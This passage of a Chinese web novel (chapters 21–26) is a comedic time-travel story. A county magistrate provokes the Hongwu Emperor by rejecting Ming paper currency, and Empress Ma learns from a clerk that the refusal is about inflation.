《流氓县令:爆改公主黑道霸王花,老朱心态崩了》 第二十一章 只能有一种贪官 “还不仅如此,徐彦祖每年都将他收到的利润分成投入到新的建设当中,这前徐彦祖虽然是拿了,但他全部都用到了百姓的身上,你说,这能叫作贪污吗?” 这一路上,马皇后也是向褚宁完完全全了解了其中的内情,知晓的越多,马皇后便对徐彦祖越加的佩服。 这话让朱元璋倒吸一口凉气,他已经不知道多少年没有见过如此为国为民的好官了。 如此看来的话,徐彦祖这哪里是贪污,分明是散财啊! 如果这也能称之为贪污的话,那朱元璋宁愿整个大明的所有官员都像徐彦祖如此这般去贪污! “并且,徐彦祖还时不时亲自去那些州县的工厂查账,并且手里还有那些账本的副本,一旦发现有贪墨工人工钱或者利润不用于改善民生生活的官员,徐彦祖都会严办并且和其立刻中止合作。” 马皇后说到这里不得不感叹徐彦祖的办法真是高明,仅仅只是这一个做法,就当真做到了利国利民的程度。 这让这些州县合作的官员想贪也贪不了,那百姓的生活自然是蒸蒸日上。 听马皇后讲述了这么多徐彦祖的事情,此刻朱元璋心中的气也已经全消了,甚至他对徐彦祖还升起了一股敬佩之情。 都说治大国若烹小鲜,治理县城也同样如此。 “这徐彦祖,当真不愧是刘伯温的弟子,真是青出于蓝而胜于蓝啊!” 朱元璋不禁夸赞了一句。 随后又一脸庆幸的看向马皇后说道:“妹子,这一次可多亏了你,及时阻止了我,否则,我岂不是要失手错杀一位为国为民的好官,那咱岂不是成了这数万百姓的罪人。” 马皇后也同样庆幸不已,如果不是她来的及时的,那朱元璋还真的要成为千古罪人。 毕竟一个如此为国为民的好官要是被朱元璋给失手错杀了,那大明的那群文臣还不得把朱元璋喷成筛子,甚至史书上都会一直记载下去。 到了那个时候,朱元璋的一世英名可就全都毁了。 “还不仅如此,虽然今天并没有找到女儿,但我却看见了两样非同寻常的事物。” “是什么?” 朱元璋不由感到十分好奇,马皇后如今贵为皇后,毫不夸张的说,她什么时候东西没见过,可她却能说出非同寻常这个词,那就非同小可了。 “其一,就是我们昨晚见到的那些琉璃,这些琉璃竟然已经被徐彦祖量产,可见松阳县的锻造水平已经远超其他。” “其二,则是蔬菜种植基地,之所以松阳县每年的蔬菜产量惊人,是因为徐彦祖已经培育出了四季都可以种植生产的蔬菜,蔬菜不曾断季,产量自然就提升上去了。” 马皇后此言一出,朱元璋的眼中骤然亮起一道精光,他没想到在不为人知的角落,徐彦祖竟然已经为民做了这么多的事情。 而且,这一桩桩一件件听起来都无比的匪夷所思。 就拿那蔬菜种植基地来说,能够一年四季都种植收获的蔬菜,就已经远远超出了他的认知,更不要说可以量产的琉璃。 朱元璋可还记得,上一次异域进献了一个琉璃盏,可发他宝贝的不行,甚至日日夜夜都舍不得用其点灯。 可是这等奢侈品,在这松阳县竟然能够量产,如同路边的大白菜一般随处可见! 但同时朱元璋也在思考一个问题。 他看向马皇后问道:“妹子,你说徐彦祖这小子,手里的产业这么多,随便拿出来一个产业,都可以支撑一个县城未来数十年的发展,是一本万利的生意,那他在松阳县当了六年县令,赚了多少钱?” 朱元璋的话让马皇后瞬间警惕起来。 她目光不善的盯着朱元璋,警告了一句:“你可不要打徐彦祖的主意,他虽然赚的钱多,但其实这些钱都花在了百姓身上,就算我大明朝缺钱,也不能靠抄家来充盈国库。” 在马皇后看来,朱元璋有此一问,明显是看中了徐彦祖手中积累的财富,如今大明百废待兴,到处都是花钱的地方,倘若将徐彦祖抄家查办,不仅可以为朱元璋出一口恶气,还能充盈国库,简直是一举两得。 这非常符合朱元璋的性格,卸磨杀驴。 想到这里,马皇后心中就隐隐升起了一股怒意。 越想越气,马皇后直接厉声说道:“重八,虽然后宫不得干政。可你要是敢对徐彦祖这样为国为民的好官下手,那就别管我跟你翻脸!” 见马皇后如此气愤,朱元璋连忙解释道:“妹子,你可真是误会咱了!” 朱元璋直呼冤枉,他敢对天发誓,听闻了徐彦祖这么多的事迹之后,他可没有想杀徐彦祖的心了,甚至把徐彦祖当作宝贝看待。 “误会你?难道你不是想杀徐彦祖?” 马皇后十分疑惑,她刚才可明明白白的看清楚,朱元璋说到徐彦祖赚钱的时候,那双眼睛瞬间就亮了起来。 同床共枕那么多年,她还会不清楚朱元璋的脾气秉性吗。 朱元璋点点头,哭笑不得说道:“像徐彦祖这样的好官,咱宝贝他还来不及,又怎么会杀他呢!” “妹子啊,咱是在想,徐彦祖的工厂基地每一个都能够赚取到偌大的财富,不仅能够让这一县之地的百姓自给自足,甚至还能有剩余,这要是推广整个大明,那将会是一种什么样的景象!” 朱元璋的眼中满是憧憬之色。 “重八你!” 马皇后目光闪动,他没想到朱元璋竟然藏着这样的心思。 但是一想也是,虽然他们此行的目的是为了找女儿,但是朱元璋身为大明开国皇帝,这又何尝不是在微服私访,体察民情! 朱元璋回过头看向徐彦祖,喟然一叹道:“要是我大明的官员人人都像徐彦祖一般,甚至只需要达到其十之一二,那我大明此刻只怕也是一片欣欣向荣的景象。” 说到这,朱元璋目光突然凌厉起来。 “贪官朝朝杀,朝朝有贪官,我要拿徐彦祖树立一个榜样,让这群每日嘴里高呼仁义道德圣人之言的官员知道,我大明朝的贪官,有且只能有一种。” “就是像徐彦祖这样的贪官!” 第二十二章 拒收大明宝钞 朱元璋此言让马皇后心中一凛,同时也放下心来。 只要不杀徐彦祖,那就一切好说。 “重八啊,想要知道徐彦祖一年赚了多少钱也并非难事,待我找个机会和褚妹妹打听一下就知。” 如今马皇后和褚宁结为金兰,这些东西想必是能够问到。 “褚妹妹?咱怎么不知道你什么时候多了个妹妹,还是姓褚?” 朱元璋十分疑惑,他怎么从来不知道这件事情。 马皇后轻轻一笑,伸手指向不远处的褚宁解释道:“喏,那就是我的妹妹。” “褚宁?” 朱元璋在两人身上来回扫视,他不可置信的说道:“你竟然把一个十四岁的孩子认作了你的妹妹?” 马皇后也有些无奈,她的本意是想认褚宁当干女儿,可是人不愿意她能有什么办法。 最终,在朱元璋那难以置信的目光中,马皇后轻轻点了点头。 朱元璋瞬间沉默了。 马皇后则是面露苦涩道:“但是我今天没有找到女儿。” 朱元璋立马回过神,目光温柔的看着马皇后安慰道:“妹子,事在人为,锦衣卫已经查明了消息,咱们的女儿就在这松阳县中,只要我们耐心找,总会有和女儿团聚的那一天。” 马皇后点点头,她心中一直有种预感,女儿就在身边。 两人互相依偎片刻后,马皇后看向朱元璋正色道:“重八,这一次你可错怪徐彦祖了,等下需得跟他好好赔礼道歉才是。” 朱元璋连连点头,拍着胸脯保证道:“妹子你放心,咱可不是刚愎自用的人,咱这就去找徐彦祖赔礼道歉。” 随后,两人找到徐彦祖。 这一次,朱元璋一改之前的态度,他上前拍拍徐彦祖的肩膀,爽朗笑道:“徐小兄弟,这一次是咱错了,是咱有眼不识泰山,不知道你为百姓做了这么多的好事,咱在这里给你赔礼道歉了。” 说完,朱元璋往后倒退一步,郑重其事朝徐彦祖躬身行了一礼。 你特么吃错药了? 徐彦祖快吐血了。 这朱大善到底是怎么回事?老子就差用拖鞋扇你脸了,你转过头就消气了? 还特么主动道歉? 我要的是你的道歉吗? 心里那么想,可嘴上还是得服软。 “那都不是事,咱哥俩谁跟谁啊!” 徐彦祖上前一把揽住朱元璋的脖子,他已经从褚宁那里知道两女义结金兰一事,那他自然就可以和朱元璋称兄道弟。 朱元璋没想到徐彦祖竟然不计较自己的冲动,反而对自己流露一副热忱之情,也是大为感动。 殊不知,徐彦祖心中早已有了其他的盘算。 【行行行,好好好!】 【算你朱大善心胸开阔!那就别怪我徐彦祖心狠手辣了!】 【你朱大善既然是朝廷上面派来的钦差,那手里必定掌握着官员的生杀大权,那我岂不是不用去找朱元璋,只需要在你面前不断作死,把你彻底得罪,按照你那个暴脾气,说不定当场就会将我赐死,我的目标不就达成了!】 徐彦祖摸着下巴,眼底带着一丝窃喜。 接下来的时间,徐彦祖带着朱元璋马皇后里里外外逛了一遍水泥厂,让两人知道水泥是如何制作的,又能投入到什么地方用作何用,也是让两人又一次大开眼界。 随后,众人便一同返回县衙。 “不知朱大哥可还记得先前说过的话?” “如今水泥厂也看了,水泥的硬度也检测了,可以下订单了吧?” 徐彦祖起身给朱元璋倒了杯茶,面带笑意。 作死归作死,生意还是要做的。 这水泥厂可是徐彦祖的心血,徐彦祖死了是可以回去享受幸福人生,但是总得为之后考虑,也要为褚宁还有这松阳县的百姓着想。 要是拿下朱元璋这个大主顾的订单,接下来几年水泥厂的运转都不会有问题了。 朱元璋自然不会忘记,他伸出两根指头,财大气粗道:“二十里水泥单,价值十万两银子是吧,我先拿五千两定金给你。” 说完,朱元璋看了一眼毛镶,后者直接当着徐彦祖的面拿出了一大捆的纸币放在桌上。 “徐县令,这里有五千张面值一贯的大明宝钞,你点点。” 毛镶将大明宝钞推到徐彦祖面前,并未注意到徐彦祖那皱起的眉头。 看到大明宝钞的那一刻,一个作死的计策在徐彦祖的脑海中立刻升起。 徐彦祖没有去动宝钞,而是扭头看向朱元璋问道:“朱大哥,你就拿这个付钱?” 朱元璋不明所以回道:“怎么?有什么问题吗?” 说着还抽出几张宝钞查看,确认上面的面值都是一贯后朝徐彦祖点点头道:“没错,全都是一贯的面值,一贯价值一两白银,这里有五千张,分毫不差。” 然而徐彦祖却直接起身,将宝钞一股脑的推到朱元璋面前。 他面色平静,不带任何喜悦的淡淡开口说道:“不好意思,我松阳县做的都是大宗买卖,付款从来都是真金白银,这大明宝钞,我松阳县不收。” “不收?” 朱元璋先是一愣,而后脸色骤然一冷。 “为何不收?难道你不知道拒收宝钞犯法的吗?” 他冷冷地问道。 看朱元璋神色冷了下来,徐彦祖轻蔑一笑,他拿起一张宝钞放在手心揉成一个纸团,随后当着朱元璋的面就丢到了地上。 “看见了吧,这宝钞在我松阳县就如同垃圾一般,狗都不要!若是几十文数百文那种交易我不管,但是要上了数十两银子的交易,那就必须拿真金白银来换!” 徐彦祖此举可谓是彻底触怒了朱元璋,一旁的马皇后更是被徐彦祖的举动吓了一跳。 要知道这大明宝钞可是朱元璋呕心沥血想出来治理大明维持物价的法子,在徐彦祖这里竟然如此不堪! 甚至,徐彦祖还当着朱元璋的面视这宝钞如同垃圾随意摒弃,这不是玩火自焚吗? 果不其然,下一秒朱元璋整个人的怒火瞬间直冲天灵盖。 “徐彦祖你好胆!你知不知道陛下早已下过命令,谁要是拒收大明宝钞,那就是和朝廷作对,谁要是侮辱大明宝钞,那就是对陛下不敬,咱再给你一次机会,再问你一遍,这大明宝钞你是收还是不收?” 朱元璋这哪里是询问,分明就是赤裸裸的威胁,甚至已经明摆着告诉徐彦祖,倘若他敢说出一个不字,下一秒朱元璋就会治他的罪! 然而,徐彦祖本就是奔着这个来的。 他先是对朱元璋问道:“你少装逼,如果我不收这大明宝钞该当如何?” 第二十三章 暴怒的朱元璋 “不收?” 朱元璋以为徐彦祖这是怕了,心中的怒火也减轻了一些。 再加上马皇后一直在边上拽着他的衣袖,朱元璋打算给徐彦祖一个机会。 他淡淡说道:“不收大明宝钞自然是重罪,不过你要是收了,并且保证整个松阳县从今往后都只用大明宝钞交易,那咱今天可以不追究你的罪责。” 朱元璋觉得自己这个想法当真是两全其美,既然之前就打算在徐彦祖身上树立起一个贪官的形象,让徐彦祖为大明的贪官做一个表率。 那么松阳县也是同样如此,松阳县产业那么多,每年的交易额都无比巨大,如果这些钱全都用来交易大明宝钞的话,一样可以为整个大明的城镇做出表率。 如此一来,朱元璋头疼的两个问题都能迎刃而解了。 想到这,朱元璋便又朝着徐彦祖补充了一句:“你拒收的大明宝钞数目过于巨大,倘若传到陛下的耳中,极有可能判处你死刑,所以还是按照我说的话来做吧,做好了不仅无罪,还会有各种奖赏。” 然而,当朱元璋不说这话还好,一说这话徐彦祖立刻就精神了,他的注意力都在死刑两个字上。 “你是说,如果我今天拒收大明宝钞,朱元璋会判我死罪?” 徐彦祖不确定的问了一句。 朱元璋有些不满的看了徐彦祖一眼,但还是点了点头。 下一秒,只见徐彦祖猛的一拍巴掌,欣喜道:“那感情好啊!” 朱元璋愣住了,他的脑子里充满了疑惑。 还未等他想清楚,就看到徐彦祖直接当着他的面将桌上的大明宝钞扫落在地,而后竟然用脚踩了上去! “就这也能叫大明宝钞,明明是大明废钞,那朱元璋懂什么经济,他根本就不知道他发行的这个宝钞,只会扰乱整个大明的市场,专业的事情让专业的人来办,当好他的皇帝不就行了。” 徐彦祖神色十分不屑,说到兴起处还朝着地上的宝钞啐了一口唾沫。 这下子,朱元璋的脸色是彻底黑了。 他现在已经不考虑其他东西了,眼里充斥着无穷无尽的怒火。 他一字一句道:“徐彦祖!咱要治你的罪!” “来人!来人!来人!” 朱元璋接连怒吼三声,眼中冒火。 下一秒,县衙的大门就被锦衣卫踹开,一大队的人马眼看着就要冲进来,毛镶更是将手放在刀柄上,死死盯着褚宁,一旦后者有什么举动,他会立刻出手。 不过,还没等锦衣卫进到大堂,马皇后就看向毛镶,厉色道:“带着你的人,给我滚出去!” 马皇后自然是发现了毛镶的小动作,知道毛镶一直想对褚宁出手,报上次的仇恨,因此语气对毛镶也是毫不客气。 “可是……” “可是什么?我的话你也敢不听了?” 毛镶有些迟疑的看着朱元璋,他当然不敢不听马皇后的话。 可命令是朱元璋下达的,加之他刚才可是将马皇后和朱元璋之间的话听的一清二楚,知道马皇后已经把褚宁认成了义妹,如果不能借着朱元璋暴怒的时候除掉褚宁,以后就再无机会了。 马皇后明显看穿了毛镶的小心思,她又一次厉声呵斥道:“怎么,你难不成想对我出手不成?” “现在,立刻就把你的人全部给我撤走!” “卑职不敢!” “卑职这就去办!” 毛镶无比惶恐,他知道马皇后这是动了真怒,只能心有不甘的朝外走去,同时将锦衣卫全都撤走。 此时在堂内,朱元璋面色阴沉的仿佛能滴出水来,如果不是马皇后死死拽着他的手臂,只怕他当时就要直接拔出毛镶的刀砍了徐彦祖。 随后,马皇后又看向褚宁,对其使了个眼色。 “妹子,你还不快带徐县令回去休息,没看他都精神错乱胡言乱语了吗?再继续待下去,指不定还要说出什么不好的话来。” 马皇后也没想到事情竟然会演变成这样,为今之计,只能让徐彦祖在朱元璋的眼前消失。 褚宁也知道其中的利害关系,不给徐彦祖开口的机会,一个手刀砍在徐彦祖的脖颈上,将其打晕后扛在肩膀上一溜烟的跑出了县衙。 整个县衙大堂内瞬间只剩下了马皇后和朱元璋两人。 直到这时,马皇后才上前轻抚着朱元璋的后背说道:“重八,你消消气,这其中必定有什么隐情。” 可朱元璋只是恨铁不成钢的看了马皇后一眼,话也不说扭头就走。 马皇后知道朱元璋如今还在气头上,也怕朱元璋还要去找徐彦祖的麻烦,连忙跟了上去。 毕竟锦衣卫可随时都在身边,指不定朱元璋就会下令对徐彦祖动手。 结果朱元璋却并未去找徐彦祖,而是怒气冲冲的回到了酒店。 一进房间,朱元璋就开始收拾东西。 “重八,你这是要去哪?难道我们不找女儿了吗?” 这可把马皇后吓了一跳,她连忙问道。 听到女儿两个字,朱元璋手上的动作只是停顿了一瞬,便继续收拾东西。 同时,朱元璋语气森寒的说道:“如今已经确定女儿就在松阳县,可以派锦衣卫挨家挨户的找,咱先带你回京。” “回京?” 马皇后有些疑惑。 她坐到床边,不解问道:“重八,我们回京干什么?” “自然是回去派人来抄家砍头。” 朱元璋头也不回的说道。 这话让马皇后神色一变,但她又没有说服朱元璋的理由,而且也明白朱元璋现在什么话都听不进去。 但是她又不可能眼睁睁看着徐彦祖被朱元璋抄家砍头,因此目前最重要的就是要争取时间查明这其中的隐情。 想到这,马皇后便对朱元璋说道:“重八,你要回京我不拦着你,但是过几日褚妹妹说要带我去另外一个基地寻找女儿,能不能暂缓几天?” 朱元璋没有说话,只是看着马皇后的眼睛。 “求你了,就几天时间,我已经日思夜想女儿那么多年,万一这一次就找到了呢?难道重八你不想看我们一家团聚吗?” 马皇后潸然泪下,对朱元璋苦苦哀求道。 第二十四章 主簿王海 “唉!” 看着马皇后那泛着泪光的眼睛,朱元璋的心终究还是软了下来。 他当然知道马皇后这样说,不仅仅是为了寻找女儿,同时也是在给徐彦祖争取时间。 但是在他看来,就算这件事有天大的隐情,他也绝不可能会放过徐彦祖。 因此,朱元璋直接当着马皇后的面发誓道:“等到回京之后,咱势必要派人将徐彦祖这个狂徒抄家查办,让他人头落地以儆效尤!” 朱元璋这话说的毫不留情,马皇后更是脸色变的无比惨白。 “重八……” 马皇后还想替徐彦祖求情,但是朱元璋却不耐烦的挥了挥手。 “你不是想去调查隐情吗?那就快去吧。” 闻言,马皇后只能无奈转身离去,她知道现在说什么朱元璋都听不进去,还是先调查清楚这背后的隐情再说。 于是,马皇后便着急忙慌的找到褚宁。 此时的褚宁正坐在茶馆中优哉游哉的喝着茶,看到马皇后急匆匆的样子,她笑着打了声招呼:“干姐快来这里坐。” 等到马皇后落座之后,一杯清澈甘洌的茶水已经递到面前。 马皇后也顾不上什么仪态,将茶水一饮而尽后看向褚宁疑惑道:“都发生了这么大的事情,你怎么一点都不着急?” 面对马皇后的询问,褚宁摆出一副没心没肺的样子回道:“从小老大就告诉我,天塌下来有个高的顶着,没有必要为其他琐事烦恼。” 闻言,马皇后不禁感叹道:“这徐县令,当真是有大智慧的人。” 马皇后越发肯定,徐彦祖如此胆大包天的行径背后一定藏有隐情! 随即,马皇后便对褚宁问道:“妹子,徐县令为何对大明宝钞如此排斥,如今大明宝钞已经成了天下百姓交易的货币,早已经不是一开始的时候,有朝廷在背后担保,难道徐彦祖还担心使用不了吗?” 马皇后也承认,一开始朱元璋发行的大明宝钞确实缺乏信任,可如今已经慢慢完善,更是出了不少有关宝钞的条例规定,全大明的百姓不说全部,起码也有七成的人在使用大明宝钞,如今已经是十分稳定的货币了。 对此,不光是马皇后,褚宁自己也十分疑惑。 她摇了摇头说道: “其实松阳县也不是不能用宝钞,只是很少,除了那些番邦来的游商之外,松阳县本地人几乎没人用宝钞了。” “据说徐彦祖上任松阳县令一职前松阳县还在使用宝钞,可是徐彦祖上任之后就明令禁止使用宝钞交易,倘若不是朝廷有规定,那些小宗的交易在松阳也必须用金银铜币才行。” “不过,具体什么原因徐彦祖也没有告诉我,我倒是问过他,他只是说告诉我了我也不懂。” 闻言,马皇后神色黯淡,如果褚宁也不知道的话,那她就只能亲自去问徐彦祖了。 可是就刚才朱元璋和徐彦祖之间发生的矛盾,马皇后可没有把握徐彦祖会对自己实话实说。 褚宁也知道马皇后是为了徐彦祖好,她细细思索后脑海里浮现出一个人的名字。 这让褚宁眼睛骤然一亮,她看向马皇后兴奋说道:“干姐,我想有一个人应该知道这背后的隐情!” 马皇后心中顿时燃起了希望,她连忙问道:“是谁?” “松阳县的主簿王海!他可是我们松阳县的顶级谋士,和我松阳县衙双花大红棍齐名的松阳县衙白纸扇。” “平日里老大都叫他王会计!” “会计?” 马皇后又听到了一个新词。 不多时,褚宁就派人将王海叫了过来。 马皇后也见到了这位松阳县的主簿,此人面庞消瘦,衣着单薄,但是脸上却挂着一副厚厚的眼镜,手里还抱着一本厚厚的账册,看起来有些滑稽。 一见面,王海就忍不住抱怨道:“我说姑奶奶诶,我都快要忙死了,你这个时候把我叫过来,怎么?你又挪用账上的钱了?” 一听这话,褚宁立刻瞪大了眼睛,她连忙上去捂住王海的嘴巴。 “什么叫又?你怎么凭空污人清白!” 同时,看向马皇后辩解道:“干姐,你可别听他胡说,他这是赤裸裸的诽谤,他诽谤我啊!他!” 王海拼尽全力这才挣脱开褚宁,他将手中那厚重的账本拍在桌上,幽怨的看着褚宁说道:“我说姑奶奶,你说归说动手干什么,你差点把我脖子折了你知道吗?” 褚宁讪讪一笑,她还不是怕王海当着马皇后的面乱说话揭她的老底,她可是个要面子的人。 当然,王海也注意到了马皇后,知道褚宁这一次叫自己前来应该是和她有关,因此目光落在马皇后的身上。 “王主簿好。” 察觉到王海的目光,马皇后温和一笑。 “原来是郑夫人,不知郑夫人找王某有何贵干?” 王海点点头,有些疑惑。 一旁的褚宁连忙介绍道:“她现在可是我的干姐姐,你还不知道吧?朱大善那个老登是朝廷钦差,我干姐姐自然就是钦差夫人,她找你来是想找你了解一些事情。” 当王海听到马皇后竟然是钦差夫人时,脸色瞬间一变,他连忙将桌上的账本藏在身后,警惕的看着马皇后问道:“不知夫人想要问什么?” 看着王海如此模样,马皇后就知道那本账册中绝对有不可告人的秘密,不过她如今可没有心思去调查账册。 同时,为了释放自己的善意,马皇后直接开门见山说道:“我这一次是为了你们徐县令而来,他拒收大明宝钞惹怒了钦差,我这次来就是为了调查这背后的隐情,好在我家那位那里替他求情。” 当听闻马皇后是为了帮徐彦祖求情才找来自己时,王海也是长舒一口气,同时对马皇后也萌生了些好感。 他将账本放在一边,拉开凳子坐下。 “夫人请问,在下一定知无不言言无不尽!” 马皇后轻笑一声,随即说道:“那就多谢王主簿了,我就一个问题,为什么你们徐县令对大明宝钞如此厌恶,甚至不惜触及国法也要抵制大明宝钞?” 面对这个问题,王海一时间也有些不知该如何说起。 他将眼镜扶正,在脑子里组织了一下语言,这才对着马皇后解释道:“县令大人之所以不收大明宝钞,是为了延缓松阳县,乃至整个大明的通货膨胀。” “通货膨胀?” 此言一出,马皇后顿时一头雾水,她还是第一次听到通货膨胀这个词,也难怪褚宁说听不懂,连她这个见多识广的皇后也同样不明白。 第二十五章 王海起疑 “不知这通货膨胀是什么东西?王主簿刚才提到大明,莫非这东西对大明有危害?” 马皇后不禁问道。 王主簿点点头,神情严肃道:“所谓通货膨胀,就是指货物的价格虚高,就比方说今天百文铜钱能够买到一石米,等到通货膨胀之后,就得两百文才能买到一石米,长久以往下去,米的价格会越来越高,钱的价值就会越来越低。” 王海这般通俗易懂的解释也是让马皇后明白了事情的严重性。 反倒是一旁的褚宁依旧不解。 她无所谓的摊摊手道:“米的价格高了,那钱自然也多挣了,这不还是一样的吗?” 这一次,不用王海解释,马皇后就对其苦笑道:“妹子,这两者怎么能混为一谈,货物的价格拔高,可是工钱没有涨啊,长此以往下去,老百姓就会吃不起饭了。” “可是如今大明朝风调雨顺,这样的事情又怎么可能会发生呢?” 马皇后细细思索之后,还是感觉有些疑惑,不过从王海的话中马皇后也明白,大明宝钞并非万全之物,其中也蕴含着莫大的隐患。 不过凡事都有两面性,有利自然也有弊,只要把控好其中的尺度分寸就好。 “天灾人祸,哪一个是能够预料得到的,你又不是神仙,你怎么知道这些事情不会发生?” “况且,如今大明宝钞造成通货膨胀只是迟早的事,根本不用等天灾人祸。” “这其中涉及了知县大人常说的经济学基础理论知识。” 王海见马皇后满脸疑惑,随机嘿嘿笑了两声,打开手里的白纸扇,微微扇着风,仔细解释道: “简而言之。” “货币和经济挂钩。” “宝钞的发行没有建立在经济基础之上,全凭朝廷一言而论,需要钱了就大肆刊印,导致大量宝钞流入民间,而民间又无法以正规途径消耗这些宝钞,因为朝廷规定,宝钞换金银是钱十三,钞十七。” “无形之中,朝廷就先给宝钞的价值贬了三成。” “长此以往下去,只会导致民间的宝钞越来越多,但是和金银铜钱兑换时,又不能对等,宝钞在百姓心中的价值也只会越来越低。” “此消彼长,不出三十年,宝钞的价值便会低到一个令人发指的程度,那时候的宝钞,只怕会尾大不掉,严重拖累大明发展,甚至导致百姓越发穷困。” 一番话,说得马皇后心惊肉跳。 也终于明白了徐彦祖为什么坚持不肯收宝钞的原因。 倘若真如刚才王海所言一般,到了那个时候,只怕整个大明朝上上下下都会生灵涂炭。 马皇后光是想想就将眉头皱紧成了个川字,于是她看向王海询问道:“王主簿既然知道大明宝钞的问题,不知可有解决的办法?” “解决的办法?” 王海手杵着脸思索了半天,最后无奈说道:“依我之愚见,恐怕只能彻底废除宝钞才能够以绝后患,除此之外我也别无他法。” 王海话音刚落,马皇后就轻轻摇头。 废除大明宝钞那是万万不可,这可是朱元璋的心血,光是推广大明宝钞就花费了数年的时间,要是突然废除,朱元璋绝对不会同意。 更何况,王海的想法毕竟是朝着最坏的地步去考虑,究竟会不会严重到那个程度尚且不可知,又怎么可能因为一个猜测就做出这种自损大明根基的事情。 可是马皇后也不愿意放弃,她对王海又问了一遍:“王主簿,难道真的没有其他办法了吗?” 王主簿叹了口气,幽幽说道:“我是没有什么办法了,不过大明宝钞的危害是知县大人最先发现的,想必知县大人应该有对策吧。” 这话让马皇后和褚宁面面相觑,没有想到最后兜兜转转还是要去找徐彦祖解答。 “那就多谢王主簿了,明日我便去找徐知县请教。” 马皇后点点头,随即起身离去,她还要回去安抚朱元璋。 如今朱元璋怒气未消,倘若她离得久了,指不定会出些什么乱子。 等到马皇后走后,王海立刻凑近褚宁问道:“姑奶奶,她真的是钦差夫人?” “怎么?不像啊?” 褚宁瞥了他一眼。 王海讪讪一笑,解释道:“也不是不像,就是这大明的官员我们又不是没有见过,哪一个不是尾巴都要翘到天上去的,他们的夫人更是嚣张跋扈,就说前两天来的那个王夫人,我找王大人对账,她硬是刁难了我足足一个时辰!” 一想起那个王夫人,王海就咬牙切齿。 随即又对马夫人大加夸赞道:“但是这位钦差夫人可不一样了,她一点架子都没有,还对知县大人的事情如此上心,像这样人美心善的夫人,简直是世间少有!” “那可不!也不看看是谁的姐姐!” 听到王海夸奖马皇后,褚宁也是骄傲的抬起了头。 王海不禁鄙夷道:“你一个小县城的半大女孩,认一个钦差夫人当姐姐,别以为我不知道你在打什么主意,不就是抱大腿吗,我鄙视你!” 说完,王海就朝褚宁竖起了中指。 褚宁脸色一黑,她突施冷箭,直接用胳膊勒住了王海的脖子。 窒息感瞬间席卷王海全身,他连连求饶:“姑奶奶,我错了!” “哼!你不是知道错了,你是知道自己要死了!” 褚宁冷哼一声,不过最终还是松开了胳膊。 王海弯着腰,扶着桌子大口呼吸着新鲜空气,刚才他真隐隐约约看到已经见到离世多年的太奶正一脸慈爱的朝他挥手。 要是褚宁在勒上那么十几秒,指不定他真就断气了。 趁着王海缓过神的功夫,褚宁也是将马皇后的来历道明:“我认干姐的时候,都还不知道她是钦差夫人呢,我一开始只知道她是京城来的皇商,来松阳县是为了找寻她失散多年的女儿。” 王海闻言,诧异的看了褚宁一眼,他从褚宁的话中察觉到了一丝不对。 “不对啊姑奶奶,你说她是钦差夫人,那就是官家的人。现在你又说她是皇商,就算带个皇字,那也是商人,自古官商从不互通,我还从没有听说过有人能同时拥有这两种身份呢!” 王海不禁对马皇后的来历产生了怀疑。 见王海一副疑神疑鬼的样子,褚宁伸出手就给他头上来了一个暴栗。 “你在想些什么呢?刚才你才说我干姐是世间少有的大好人,现在又怀疑她的身份,兴许人家就是有这个特权呢,她可是马皇后的亲戚,是皇室成员,有什么不可能的!” “再者说,她是来找孩子,找一个身份伪装一下怎么了,要是大张旗鼓出门,那人伢子还抓的到,孩子还找得到吗?” 看着褚宁那气势汹汹的样子,王海只得打消心中的疑惑。 不过他还是嘟囔了一句。 “我说的又没错,她要是官家的人,哪有权利在松阳县买货。” 话音刚落,王海就见褚宁眼神不善的盯着他,他连忙抱起账本撒腿就跑。 不过王海的话也影响到了褚宁,她望向马皇后离去的方向,但很快又使劲摇了摇头。 第二十六章 宝钞隐患 “管他呢,只要干姐对我好不就行了,徐彦祖不是常说,不要担心二里外和两个时辰后的事情吗?” “那话是那么说的吗?” “那咋了?我就乐意这么说!” 褚宁想起徐彦祖的话,将对马皇后的怀疑抛诸脑后。 另外一边,马皇后马不停蹄的赶回酒店。 一进门,就看到朱元璋愣神的看着手中的大明宝钞,这让马皇后眼圈一红。 她知道,朱元璋气愤的不是徐彦祖拒收大明宝钞,朱元璋气愤的是徐彦祖践踏大明宝钞的行为,那践踏的不仅仅是大明宝钞,更是他朱元璋的尊严和心血。 听到动静,朱元璋回过神来,他冲马皇后宽慰一笑,招了招手。 “妹子,你过来坐。” 马皇后坐到朱元璋身边,将头依靠在他的肩膀上,这一刻,时间仿佛倒退回到从前,一片温馨。 朱元璋舒服的眯了眯眼睛,良久他才缓缓说道:“其实咱也不是非杀徐彦祖不可,可这宝钞就如同咱的孩子一般,是咱呕心沥血为了稳定大明的物价才推行的,如今他欺负了咱的孩子,咱总得为孩子讨要个说法吧!” “妹子,这不过分吧?” 马皇后听出了朱元璋话里的委屈和对自己的埋怨,他埋怨自己自从来到这松阳县后,就没有站在他这一边过。 “你啊,那你知不知道你这个孩子病了,徐彦祖就是那个能治好他的医生。你如今要杀这个医生,岂不是相当于要杀了这个孩子吗?” 马皇后抬起头看向朱元璋,她这可不是为徐彦祖求情,而是她已经意识到了大明宝钞的问题所在。 闻言,朱元璋猛的看向马皇后问道:“妹子,你说的话是什么意思?如今大明宝钞已经流通整个大明,怎么能说病了呢?” “你不会是为了给徐彦祖求情,就来骗咱吧!” 马皇后幽幽一叹,她就知道朱元璋不会相信。 “重八啊,你有没有想过,倘若以后我大明遇到天灾人祸,物价势必会上涨,到了那个时候你该如何平衡物价?” 马皇后不由对朱元璋发问。 这个问题朱元璋早就想过,他信心十足说道:“自然是继续发行大明宝钞,到时候百姓手中有钱了,这天灾人祸自然就能安稳度过。” 在朱元璋看来,既然百姓手中没钱,那就直接给他们发钱好了。 然而,当朱元璋说完这话时,却看到马皇后微微摇头。 “不,重八你错了,大错特错!” “你这样做,不仅救不了百姓,还会导致通货膨胀,让这大明宝钞彻底变为一堆废纸!” 马皇后目光灼灼,将从王海那学到的新词一并讲出。 “通货膨胀?” 朱元璋也如同之前的马皇后一般,一头雾水。 马皇后解释道:“这是县城中的一个主簿告诉我的,所谓通货膨胀……” 等到马皇后将主簿王海所说的话原封不动朝着朱元璋复述一遍之后,后者也是明白了大明宝钞的弊端。 “倘若真按照妹子你所说,那这大明宝钞到了最后,还真会如同废纸一般,毫无购买力!” 此刻朱元璋面色凝重,马皇后的话让他惊出一身冷汗。 一旦出现通货膨胀的情况,他除了发钱外再无他法。可是钱越发越多,大明宝钞的购买力也会迅速下降,到了最后,很有可能几十张面值一贯的宝钞都买不起一石粮食,百姓拿着宝钞却只能饿死,这是何等可怕! 